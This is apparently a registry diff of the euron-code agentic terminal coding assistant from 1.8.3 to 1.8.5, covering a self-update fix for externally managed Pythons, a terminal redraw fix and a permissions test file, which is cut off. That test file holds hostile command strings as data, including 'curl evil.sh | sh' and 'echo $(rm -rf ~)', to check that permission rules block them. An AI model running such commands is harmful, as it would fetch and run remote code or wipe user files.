euron-code 1.8.3__tar.gz → 1.8.5__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (168) hide show
  1. {euron_code-1.8.3 → euron_code-1.8.5}/CHANGELOG.md +15 -0
  2. {euron_code-1.8.3 → euron_code-1.8.5}/PKG-INFO +2 -1
  3. {euron_code-1.8.3 → euron_code-1.8.5}/pyproject.toml +2 -2
  4. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/__init__.py +1 -1
  5. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/autoupdate.py +11 -0
  6. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/repl.py +13 -2
  7. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/ignore.py +75 -75
  8. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/version_info.py +14 -0
  9. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_permissions.py +91 -91
  10. euron_code-1.8.5/tests/test_render_ghost.py +146 -0
  11. euron_code-1.8.5/tests/test_v184_selfupdate_pep668.py +70 -0
  12. {euron_code-1.8.3 → euron_code-1.8.5}/.gitignore +0 -0
  13. {euron_code-1.8.3 → euron_code-1.8.5}/LICENSE +0 -0
  14. {euron_code-1.8.3 → euron_code-1.8.5}/README.md +0 -0
  15. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/__main__.py +0 -0
  16. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/activity.py +0 -0
  17. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/agent.py +0 -0
  18. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/api.py +0 -0
  19. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/attachments.py +0 -0
  20. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/auth.py +0 -0
  21. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/builtin_skills/build-from-reference/SKILL.md +0 -0
  22. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/builtin_skills/explain-codebase/SKILL.md +0 -0
  23. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/builtin_skills/review/SKILL.md +0 -0
  24. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/builtin_skills/test-writer/SKILL.md +0 -0
  25. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/cache.py +0 -0
  26. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/checkpoints.py +0 -0
  27. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/cli.py +0 -0
  28. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/codeindex.py +0 -0
  29. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/config.py +0 -0
  30. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/context.py +0 -0
  31. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/contextforge/LICENSE +0 -0
  32. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/contextforge/__init__.py +0 -0
  33. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/contextforge/text.py +0 -0
  34. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/contextforge/toolout.py +0 -0
  35. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/credentials.py +0 -0
  36. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/ctxstats.py +0 -0
  37. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/doctor.py +0 -0
  38. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/documents.py +0 -0
  39. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/dotnet.py +0 -0
  40. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/error_hints.py +0 -0
  41. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/errorlog.py +0 -0
  42. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/failures.py +0 -0
  43. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/friendly.py +0 -0
  44. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/frontmatter.py +0 -0
  45. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/hooks.py +0 -0
  46. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/keys.py +0 -0
  47. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/knowledge.py +0 -0
  48. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/licensing.py +0 -0
  49. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/llm/__init__.py +0 -0
  50. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/llm/anthropic.py +0 -0
  51. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/llm/base.py +0 -0
  52. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/llm/openai_compat.py +0 -0
  53. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/llm/setup.py +0 -0
  54. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/logo.py +0 -0
  55. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/markdown_view.py +0 -0
  56. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/memory.py +0 -0
  57. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/migration.py +0 -0
  58. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/modes.py +0 -0
  59. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/mvc5.py +0 -0
  60. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/osscache.py +0 -0
  61. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/ossgithub.py +0 -0
  62. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/pasteinput.py +0 -0
  63. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/pathfix.py +0 -0
  64. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/permissions.py +0 -0
  65. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/progress.py +0 -0
  66. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/project_setup.py +0 -0
  67. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/prompts.py +0 -0
  68. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/repomap.py +0 -0
  69. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/rules.py +0 -0
  70. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/security_scan.py +0 -0
  71. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/sessions.py +0 -0
  72. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/skills.py +0 -0
  73. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/taskstate.py +0 -0
  74. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/textsafe.py +0 -0
  75. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tls.py +0 -0
  76. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/__init__.py +0 -0
  77. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/background.py +0 -0
  78. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/base.py +0 -0
  79. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/db.py +0 -0
  80. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/document.py +0 -0
  81. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/erie.py +0 -0
  82. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/fs.py +0 -0
  83. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/normalize.py +0 -0
  84. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/oss.py +0 -0
  85. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/pathfind.py +0 -0
  86. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/port.py +0 -0
  87. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/reuse.py +0 -0
  88. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/search.py +0 -0
  89. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/shell.py +0 -0
  90. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/skill.py +0 -0
  91. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/symbols.py +0 -0
  92. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/task.py +0 -0
  93. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/todo.py +0 -0
  94. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/web.py +0 -0
  95. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/tools/websearch.py +0 -0
  96. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/transcript.py +0 -0
  97. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/trust.py +0 -0
  98. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/ui.py +0 -0
  99. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/update_check.py +0 -0
  100. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/usage_view.py +0 -0
  101. {euron_code-1.8.3 → euron_code-1.8.5}/src/euron_code/webforms.py +0 -0
  102. {euron_code-1.8.3 → euron_code-1.8.5}/tests/conftest.py +0 -0
  103. {euron_code-1.8.3 → euron_code-1.8.5}/tests/fake_providers.py +0 -0
  104. {euron_code-1.8.3 → euron_code-1.8.5}/tests/helpers.py +0 -0
  105. {euron_code-1.8.3 → euron_code-1.8.5}/tests/measure_floor.py +0 -0
  106. {euron_code-1.8.3 → euron_code-1.8.5}/tests/mock_gateway.py +0 -0
  107. {euron_code-1.8.3 → euron_code-1.8.5}/tests/serve_helper.py +0 -0
  108. {euron_code-1.8.3 → euron_code-1.8.5}/tests/sim_long_session.py +0 -0
  109. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_agent_mock.py +0 -0
  110. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_api_shell.py +0 -0
  111. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_bench.py +0 -0
  112. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_bench_harness.py +0 -0
  113. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_cli_e2e.py +0 -0
  114. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_context_memory_sessions.py +0 -0
  115. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_dashboard_fixes.py +0 -0
  116. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_dashboard_fixes_102.py +0 -0
  117. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_db.py +0 -0
  118. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_erie.py +0 -0
  119. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_knowledge_security.py +0 -0
  120. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_markdown_view.py +0 -0
  121. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_oss_local.py +0 -0
  122. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_powershell_exit_codes.py +0 -0
  123. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_qa_attach_secrets.py +0 -0
  124. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_qa_long_task.py +0 -0
  125. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_qa_print_output.py +0 -0
  126. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_qa_reuse_unrelated.py +0 -0
  127. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_qa_yolo_outside.py +0 -0
  128. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_repl.py +0 -0
  129. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_reuse_honesty.py +0 -0
  130. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_search.py +0 -0
  131. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_textsafe.py +0 -0
  132. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_tools_fs.py +0 -0
  133. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_transcript_ui.py +0 -0
  134. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_update_check.py +0 -0
  135. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v111_user_reports.py +0 -0
  136. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v113_fix_path.py +0 -0
  137. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v11_byo.py +0 -0
  138. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v11_speed.py +0 -0
  139. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v11_tool_fixes.py +0 -0
  140. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v130_cut_writes.py +0 -0
  141. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v130_reliability.py +0 -0
  142. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v140_parity.py +0 -0
  143. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v152_migration.py +0 -0
  144. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v153_user_errors.py +0 -0
  145. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v155_user_errors.py +0 -0
  146. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v156_autoupdate.py +0 -0
  147. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v156_paste_and_edits.py +0 -0
  148. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v157_zero_errors.py +0 -0
  149. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v15_hosted_models.py +0 -0
  150. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v15_reuse_off_subagent_hooks.py +0 -0
  151. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v160_stop_scope_atomic.py +0 -0
  152. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v161_residual_errors.py +0 -0
  153. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v170_v2.py +0 -0
  154. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v180_rescue_research_permissions.py +0 -0
  155. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v181_silent_failures_verified.py +0 -0
  156. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v182_zero_errors.py +0 -0
  157. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v2_rules_skills_hooks.py +0 -0
  158. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v2_tokens_shortcuts.py +0 -0
  159. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v2_usage_headers.py +0 -0
  160. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v31_security.py +0 -0
  161. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v3_accounts_value_setup.py +0 -0
  162. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v3_activity.py +0 -0
  163. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v3_attachments.py +0 -0
  164. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v3_context.py +0 -0
  165. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v3_live_repl.py +0 -0
  166. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v3_single_login.py +0 -0
  167. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v4.py +0 -0
  168. {euron_code-1.8.3 → euron_code-1.8.5}/tests/test_v5.py +0 -0
@@ -1,5 +1,20 @@
1
1
  # Changelog
2
2
 
3
+ ## 1.8.5 (2026-11-16)
4
+
5
+ - **The input box no longer jumps down and leaves copies of itself behind.** In Windows Terminal, VS Code and other
6
+ terminals, the lines around the `>` input were drawn one column short of the edge; when the terminal got a little
7
+ narrower (a window or panel resize, a scrollbar appearing) they were re-wrapped onto two rows and the next redraw
8
+ (often the next key, such as Space) left the old box on screen, so the cursor seemed to jump to a new line. The
9
+ rules and footer now keep 4 columns free, so small width changes no longer wrap them. New tests draw the prompt in a
10
+ terminal emulator and check that empty Enter / Space presses (also around a running task) leave a single box.
11
+
12
+ ## 1.8.4 (2026-11-14)
13
+
14
+ - Updates itself on Linux and macOS system Pythons that refuse plain pip installs ("externally managed": recent
15
+ Debian/Ubuntu, Homebrew). Euron Code installed there with `--break-system-packages` could not update itself and
16
+ stayed on its old version; it now updates the same way it was installed, and the manual command it prints works.
17
+
3
18
  ## 1.8.3 (2026-11-14)
4
19
 
5
20
  - Plan mode runs read-only commands (`git log`, `git status`, `ls`, `grep`) without asking, also in `euron -p`.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.5
2
2
  Name: euron-code
3
- Version: 1.8.3
3
+ Version: 1.8.5
4
4
  Summary: Euron Code: an agentic coding assistant in your terminal for Euron Plus and Super 30 students.
5
5
  Project-URL: Homepage, https://euron.one/code-agent
6
6
  Author-email: Euron <contact@euron.one>
@@ -55,6 +55,7 @@ Requires-Dist: psycopg[binary]>=3.1; extra == 'db'
55
55
  Requires-Dist: pymysql>=1.0; extra == 'db'
56
56
  Provides-Extra: dev
57
57
  Requires-Dist: build>=1.0; extra == 'dev'
58
+ Requires-Dist: pyte>=0.8; extra == 'dev'
58
59
  Requires-Dist: pytest>=7; extra == 'dev'
59
60
  Provides-Extra: images
60
61
  Requires-Dist: pillow>=9.0; extra == 'images'
@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
4
4
 
5
5
  [project]
6
6
  name = "euron-code"
7
- version = "1.8.3"
7
+ version = "1.8.5"
8
8
  description = "Euron Code: an agentic coding assistant in your terminal for Euron Plus and Super 30 students."
9
9
  readme = "README.md"
10
10
  requires-python = ">=3.9"
@@ -40,7 +40,7 @@ mysql = ["PyMySQL>=1.0"]
40
40
  db = ["psycopg[binary]>=3.1", "PyMySQL>=1.0"]
41
41
  images = ["Pillow>=9.0"]
42
42
  browser = ["playwright>=1.40"]
43
- dev = ["pytest>=7", "build>=1.0"]
43
+ dev = ["pytest>=7", "build>=1.0", "pyte>=0.8"]
44
44
 
45
45
  [project.urls]
46
46
  Homepage = "https://euron.one/code-agent"
@@ -1,3 +1,3 @@
1
1
  """Euron Code: an agentic coding assistant for the terminal."""
2
2
 
3
- __version__ = "1.8.3"
3
+ __version__ = "1.8.5"
@@ -127,6 +127,17 @@ def upgrade(version: str, say: Callable[[str], None], run=None) -> bool:
127
127
  out = _text(r.stdout)
128
128
  if r.returncode == 0:
129
129
  return True
130
+ if "externally-managed" in out.lower() and "--break-system-packages" not in cmd and kind != "venv":
131
+ # 1.8.4: a system Python marked "externally managed" (Debian/Ubuntu, Homebrew; PEP 668). Euron Code
132
+ # was installed into it with --break-system-packages (the only way pip allows), so the update needs
133
+ # the same flag; without it every self-update failed and the person stayed on the old version.
134
+ try:
135
+ r = run(cmd + ["--break-system-packages"])
136
+ out = _text(r.stdout)
137
+ if r.returncode == 0:
138
+ return True
139
+ except (OSError, subprocess.SubprocessError) as e:
140
+ out = str(e)
130
141
  if not _importable():
131
142
  # pip stopped half-way: put the version that was running back, so `euron` still starts next time
132
143
  try:
@@ -74,6 +74,10 @@ SLASH_COMMANDS = {
74
74
  #: how /bug names an error kind (the report itself keeps the contract value)
75
75
  BUG_KIND = {"gateway": "service"}
76
76
 
77
+ # Columns left free at the right of the rules and footer around the input, so a terminal that gets a little
78
+ # narrower never re-wraps them (see Repl._columns).
79
+ EDGE_SLACK = 4
80
+
77
81
  MIDRUN_COMMANDS = {"/usage", "/version", "/users", "/effort", "/mode", "/attach", "/paste-image", "/reuse", "/reference", "/ps",
78
82
  "/components", "/cost", "/context", "/status", "/model", "/help", "/todos", "/permissions",
79
83
  "/whoami", "/bug", "/release-notes", "/config", "/expand"}
@@ -327,11 +331,18 @@ class Repl:
327
331
  return g if isinstance(g, transcript.Glyphs) else transcript.UNICODE
328
332
 
329
333
  def _columns(self) -> int:
334
+ """Width of the rules and the footer around the input: the terminal width minus EDGE_SLACK.
335
+
336
+ 1.8.5: drawn one column short of the edge, a narrowing of 2 columns (a window or panel resize, a
337
+ scrollbar showing up) made Windows Terminal / VS Code re-wrap every rule onto two rows; the redraw
338
+ then erased too few rows and each old box stayed on screen (stacked empty `>` boxes, CEO screenshot
339
+ 2026-11-15). With the slack, small width changes never wrap a line."""
330
340
  app = self._app()
331
341
  try:
332
- return max(20, int(app.output.get_size().columns) - 1)
342
+ cols = int(app.output.get_size().columns)
333
343
  except Exception:
334
- return max(20, shutil.get_terminal_size((80, 24)).columns - 1)
344
+ cols = shutil.get_terminal_size((80, 24)).columns
345
+ return max(20, cols - EDGE_SLACK)
335
346
 
336
347
  def _prompt_message(self):
337
348
  """Above the input: the live status line while a task runs, then a full-width rule, then
@@ -1,75 +1,75 @@
1
- """Best-effort ignore rules for the Python fallbacks of glob/grep/list_dir."""
2
-
3
- from __future__ import annotations
4
-
5
- import fnmatch
6
- import os
7
- from pathlib import Path
8
- from typing import Iterator, List, Tuple
9
-
10
- ALWAYS_SKIP_DIRS = {
11
- ".git", ".hg", ".svn", "node_modules", "__pycache__", ".venv", "venv", "env", ".tox",
12
- ".mypy_cache", ".pytest_cache", ".ruff_cache", ".next", ".nuxt", "dist", "build",
13
- ".idea", ".gradle", "target", ".cache", "coverage", ".turbo", ".parcel-cache",
14
- }
15
-
16
-
17
- class GitIgnore:
18
- """A small subset of .gitignore: root .gitignore, simple globs, dir patterns, negation ignored."""
19
-
20
- def __init__(self, root: Path):
21
- self.root = root
22
- self.patterns: List[Tuple[str, bool]] = [] # (pattern, dir_only)
23
- try:
24
- with open(root / ".gitignore", "r", encoding="utf-8", errors="replace") as f:
25
- for line in f:
26
- line = line.strip()
27
- if not line or line.startswith("#") or line.startswith("!"):
28
- continue
29
- dir_only = line.endswith("/")
30
- self.patterns.append((line.strip("/"), dir_only))
31
- except OSError:
32
- pass
33
-
34
- def ignored(self, rel_posix: str, is_dir: bool) -> bool:
35
- name = rel_posix.rsplit("/", 1)[-1]
36
- for pat, dir_only in self.patterns:
37
- if dir_only and not is_dir:
38
- continue
39
- if "/" in pat:
40
- if fnmatch.fnmatch(rel_posix, pat.lstrip("/")) or fnmatch.fnmatch(rel_posix, pat.lstrip("/") + "/*"):
41
- return True
42
- elif fnmatch.fnmatch(name, pat):
43
- return True
44
- return False
45
-
46
-
47
- def walk_files(base: Path, root: Path) -> Iterator[Path]:
48
- gi = GitIgnore(root)
49
- for dirpath, dirnames, filenames in os.walk(base):
50
- dp = Path(dirpath)
51
- keep = []
52
- for d in dirnames:
53
- if d in ALWAYS_SKIP_DIRS:
54
- continue
55
- try:
56
- rel = (dp / d).relative_to(root).as_posix()
57
- except ValueError:
58
- rel = d
59
- if gi.ignored(rel, True):
60
- continue
61
- keep.append(d)
62
- dirnames[:] = sorted(keep)
63
- for fn in sorted(filenames):
64
- p = dp / fn
65
- try:
66
- rel = p.relative_to(root).as_posix()
67
- except ValueError:
68
- rel = fn
69
- if gi.ignored(rel, False):
70
- continue
71
- yield p
72
-
73
-
74
- def is_binary_bytes(data: bytes) -> bool:
75
- return b"\x00" in data[:8192]
1
+ """Best-effort ignore rules for the Python fallbacks of glob/grep/list_dir."""
2
+
3
+ from __future__ import annotations
4
+
5
+ import fnmatch
6
+ import os
7
+ from pathlib import Path
8
+ from typing import Iterator, List, Tuple
9
+
10
+ ALWAYS_SKIP_DIRS = {
11
+ ".git", ".hg", ".svn", "node_modules", "__pycache__", ".venv", "venv", "env", ".tox",
12
+ ".mypy_cache", ".pytest_cache", ".ruff_cache", ".next", ".nuxt", "dist", "build",
13
+ ".idea", ".gradle", "target", ".cache", "coverage", ".turbo", ".parcel-cache",
14
+ }
15
+
16
+
17
+ class GitIgnore:
18
+ """A small subset of .gitignore: root .gitignore, simple globs, dir patterns, negation ignored."""
19
+
20
+ def __init__(self, root: Path):
21
+ self.root = root
22
+ self.patterns: List[Tuple[str, bool]] = [] # (pattern, dir_only)
23
+ try:
24
+ with open(root / ".gitignore", "r", encoding="utf-8", errors="replace") as f:
25
+ for line in f:
26
+ line = line.strip()
27
+ if not line or line.startswith("#") or line.startswith("!"):
28
+ continue
29
+ dir_only = line.endswith("/")
30
+ self.patterns.append((line.strip("/"), dir_only))
31
+ except OSError:
32
+ pass
33
+
34
+ def ignored(self, rel_posix: str, is_dir: bool) -> bool:
35
+ name = rel_posix.rsplit("/", 1)[-1]
36
+ for pat, dir_only in self.patterns:
37
+ if dir_only and not is_dir:
38
+ continue
39
+ if "/" in pat:
40
+ if fnmatch.fnmatch(rel_posix, pat.lstrip("/")) or fnmatch.fnmatch(rel_posix, pat.lstrip("/") + "/*"):
41
+ return True
42
+ elif fnmatch.fnmatch(name, pat):
43
+ return True
44
+ return False
45
+
46
+
47
+ def walk_files(base: Path, root: Path) -> Iterator[Path]:
48
+ gi = GitIgnore(root)
49
+ for dirpath, dirnames, filenames in os.walk(base):
50
+ dp = Path(dirpath)
51
+ keep = []
52
+ for d in dirnames:
53
+ if d in ALWAYS_SKIP_DIRS:
54
+ continue
55
+ try:
56
+ rel = (dp / d).relative_to(root).as_posix()
57
+ except ValueError:
58
+ rel = d
59
+ if gi.ignored(rel, True):
60
+ continue
61
+ keep.append(d)
62
+ dirnames[:] = sorted(keep)
63
+ for fn in sorted(filenames):
64
+ p = dp / fn
65
+ try:
66
+ rel = p.relative_to(root).as_posix()
67
+ except ValueError:
68
+ rel = fn
69
+ if gi.ignored(rel, False):
70
+ continue
71
+ yield p
72
+
73
+
74
+ def is_binary_bytes(data: bytes) -> bool:
75
+ return b"\x00" in data[:8192]
@@ -21,9 +21,23 @@ def upgrade_command() -> str:
21
21
  exe = f'"{exe}"'
22
22
  if platform.system() == "Windows" and exe.startswith('"'):
23
23
  exe = "& " + exe # PowerShell needs the call operator for a quoted path
24
+ if externally_managed():
25
+ return f"{exe} -m pip install -U --user --break-system-packages euron-code"
24
26
  return f"{exe} -m pip install -U euron-code"
25
27
 
26
28
 
29
+ def externally_managed() -> bool:
30
+ """A system Python that refuses plain pip installs (PEP 668: Debian/Ubuntu, Homebrew)."""
31
+ try:
32
+ import sysconfig
33
+ from pathlib import Path
34
+ if sys.prefix != getattr(sys, "base_prefix", sys.prefix):
35
+ return False # a virtual environment is never externally managed
36
+ return (Path(sysconfig.get_paths()["stdlib"]) / "EXTERNALLY-MANAGED").is_file()
37
+ except Exception:
38
+ return False
39
+
40
+
27
41
  def report(latest_fn: Optional[Callable[[], Optional[str]]] = None) -> List[str]:
28
42
  from euron_code import update_check
29
43
  lines = [f"euron-code {__version__}"]
@@ -1,94 +1,94 @@
1
- from pathlib import Path
2
-
3
- from euron_code.permissions import Permissions, Request, bash_rule_matches, command_prefix
4
-
5
-
6
- def req(cat, *paths, command=None, domain=None, tool="t"):
7
- return Request(cat, tool, paths=[Path(p) for p in paths], command=command, domain=domain)
8
-
9
-
10
- def test_defaults(project, tmp_path):
11
- p = Permissions(project)
12
- assert p.check(req("Read", project / "a.py")) == "allow"
13
- assert p.check(req("Read", tmp_path / "outside.txt")) == "ask"
14
- assert p.check(req("Read", project / ".env")) == "ask"
15
- assert p.check(req("Read", project / ".env.example")) == "allow"
16
- assert p.check(req("Edit", project / "a.py")) == "ask"
17
- assert p.check(req("Bash", command="ls")) == "ask"
18
- assert p.check(req("WebFetch", domain="docs.python.org")) == "ask"
19
- assert p.check(req("Db")) == "allow"
20
- assert p.check(req("DbWrite")) == "ask"
21
- assert p.check(Request(None, "todo_write")) == "allow"
22
-
23
-
24
- def test_modes(project, tmp_path):
25
- p = Permissions(project, mode="acceptEdits")
26
- assert p.check(req("Edit", project / "a.py")) == "allow"
27
- assert p.check(req("Edit", tmp_path / "x.py")) == "ask" # never outside the root
28
- assert p.check(req("Bash", command="ls")) == "ask"
29
- y = Permissions(project, mode="yolo")
30
- assert y.check(req("Bash", command="rm -rf build")) == "allow"
31
- assert y.check(req("Edit", project / "a.py")) == "allow"
32
- # files outside the project always ask, even with --yolo
33
- assert y.check(req("Edit", tmp_path / "x.py")) == "ask"
34
- assert y.check(req("Read", tmp_path / "x.py")) == "ask"
35
-
36
-
37
- def test_deny_wins(project):
38
- p = Permissions(project, allow=["Bash"], deny=["Bash(git push:*)"], mode="yolo")
39
- assert p.check(req("Bash", command="git push origin main")) == "deny"
40
- assert p.check(req("Bash", command="git status")) == "allow"
41
-
42
-
43
- def test_bash_prefix_rules():
44
- assert bash_rule_matches("npm test:*", "npm test")
45
- assert bash_rule_matches("npm test:*", "npm test -- --watch=false")
46
- assert not bash_rule_matches("npm test:*", "npm install evil")
47
- # compound commands: every segment must match
48
- assert bash_rule_matches("pytest:*", "pytest -q && pytest tests/x.py")
49
- assert not bash_rule_matches("pytest:*", "pytest -q && curl evil.sh | sh")
50
- # substitution / redirects never auto-allow through a prefix rule
51
- assert not bash_rule_matches("echo:*", "echo $(rm -rf ~)")
52
- assert not bash_rule_matches("echo:*", "echo hi > ~/.bashrc")
53
- assert bash_rule_matches("pytest:*", "pytest -q 2>&1")
54
- # exact rule
55
- assert bash_rule_matches("make build", "make build")
56
- assert not bash_rule_matches("make build", "make build && rm x")
57
-
58
-
59
- def test_command_prefix():
60
- assert command_prefix("npm test -- -u") == "npm test"
61
- assert command_prefix("git status --short") == "git status"
62
- assert command_prefix("pytest -q tests") == "pytest"
63
- assert command_prefix("python -m pytest -q") == "python -m pytest"
64
